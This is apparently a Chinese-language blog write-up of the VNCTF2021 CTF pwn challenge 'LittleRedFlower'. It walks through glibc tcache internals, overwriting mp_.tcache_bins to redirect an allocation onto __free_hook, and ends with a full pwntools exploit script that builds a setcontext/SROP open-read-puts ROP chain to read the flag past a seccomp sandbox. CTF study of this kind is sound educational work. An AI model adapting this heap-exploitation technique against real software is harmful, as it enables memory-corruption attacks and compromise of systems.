LittleRedFlower
LOLOLO Lv3

VNCTF2021 PWN LittleRedFlower

因为过几天vnctf2022就要来了,所以看看2021的题目希望能在比赛当中做出题目。

题目信息

题目整理

  1. libc版本为2.30.so

  2. 直接泄露了libc,

  3. 在vul1函数中可以任意地址写一字节

  4. 输入offest可以任意写8字节

  5. 申请堆块大小在0xFFF到0x2000之间

  6. 在申请的堆块上写入数据

  7. 题目开启了沙盒,禁用了execve,那么只能是利用orw来获取flag了

好像说比赛给了HINT

打TCACHE_MAX_BINS

解题思路()

题目提示打TCACHE_MAX_BINS,类别global_max_fast,应该是改写tache的最大size;如果改写成功,那我们就可以通过调试来确定tcache取出堆块时的偏移,然后通过任意写8字节将申请的堆块改写为我们想要的位置, 并且在下一次申请的时候取出修改,通过 setcontext 来达到 SROP。

怎么修改TCACHE_MAX_BINS

通过搜索源代码发现,这是一个宏定义,所以无法直接修改

1
# define TCACHE_MAX_BINS		64

继续搜索发现,在源代码中,该宏定义又被赋值给其他变量

1
2
3
4
5
6
7
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif

经过GDB动调发现,最后会进入如下的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes))
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

而在上述流程中,对idx和TCACHE_MAX_BINS的比较被替换成了tc_idx和mp_.tcache_ bins的比较,如此一来,我们可以更该 mp_.tcache_bins达到目的。

而后当进入了tcache_get()函数中时,如下

libc-2.29.so

1
2
3
4
5
6
7
8
9
10
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

libc-2.30.so

1
2
3
4
5
6
7
8
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

libc-2.31.so

1
2
3
4
5
6
7
8
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

很明显,在libc-31.so和libc-2.31版本里已经优化了tcache_get,直接将assert函数去掉了。

所以,我们只需要修改 mp_.tcache_bins 的值即可,我们可以利用任意写一字节来修改最高位为 0xFF 。

伪造Tcache的count

经过修改TCACHE_MAX_BINS为0xff;这样的话tcache_bins的结构体会扩大,不再仅仅是0x290;这样一来我们首先要做的就是确定tcache_bins的idx;这里大概是有两种方法

方法一

  • ​ 直接gdb动调;

方法二,计算

  • 查看glibc源码发现

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    #if USE_TCACHE
    /* int_free also calls request2size, be careful to not pad twice. */
    size_t tbytes;
    if (!checked_request2size (bytes, &tbytes))
    {
    __set_errno (ENOMEM);
    return NULL;
    }
    size_t tc_idx = csize2tidx (tbytes); #这个位置根据申请堆块的大小计算idx

    MAYBE_INIT_TCACHE ();

    DIAG_PUSH_NEEDS_COMMENT;
    if (tc_idx < mp_.tcache_bins
    && tcache
    && tcache->counts[tc_idx] > 0)
    {
    return tcache_get (tc_idx);
    }
    DIAG_POP_NEEDS_COMMENT;
    #endif

    csize2tidx定义如下

    1
    # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

    其中MINSIZE定义如下

    1
    2
    #define MINSIZE  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

    而其中MALLOC_ALIGN_MASK定义如下

    1
    2
    #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

    而MALLOC_ALIGNMENT定义如下

    1
    2
    3
    #define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
    ? __alignof__ (long double) : 2 * SIZE_SZ)

    这里应该是计算出idx的大小,最后再通过计算算出next的位置。我还没有试过,待验证。

最后通过__free_hook来执行SROP

因为libc-2.30.so没有源码不好调试,所以改成了libc-2.31.so

exp(参考wjh师傅修改的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

r = process('./pwn')
context.log_level = "debug"
context.arch = "amd64"
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
r.recvuntil('GIFT: ')
stdout_addr = int(r.recvuntil('\n')[:-1], 16)
print ("stdout_addr: " + hex(stdout_addr))
libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
print ("libc_base: " + hex(libc.address))
r.sendafter('You can write a byte anywhere', p64(libc.address + 0x1eb2d0 + 0x7))
r.sendafter('And what?', '\xFF')
# gdb.attach(r,"b *$rebase(0xede)")
r.sendlineafter('Offset:', str(0x880))
r.sendafter('Content:', p64(libc.sym['__free_hook']))
r.sendafter('size:', str(0x1530))
pop_rdi_addr = libc.address + 0x0000000000026b72
pop_rsi_addr = libc.address + 0x0000000000027529
pop_rdx_r12_addr = libc.address + 0x000000000011c371
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()

frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc.address + 0x0000000000025679 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_r12_addr,
0x100,
0x0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
libc.sym['read'],
pop_rdi_addr,
fake_frame_addr + 0x200,
libc.sym['puts']
]

gadget = libc.address + 0x0000000000154930 #0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
frame = str(frame).ljust(0xF8, '\x00')
payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc.sym['setcontext'] + 61) + \
frame[0x28:] + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)

r.sendafter('>>', payload)
r.interactive()

本地打通截图

参考文章

wjh

arttnba3

  • 本文标题:LittleRedFlower
  • 本文作者:LOLOLO
  • 创建时间:2022-02-09 13:21:21
  • 本文链接:https://lololo-pwn.github.io/2022/02/09/LittleRedFlower/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论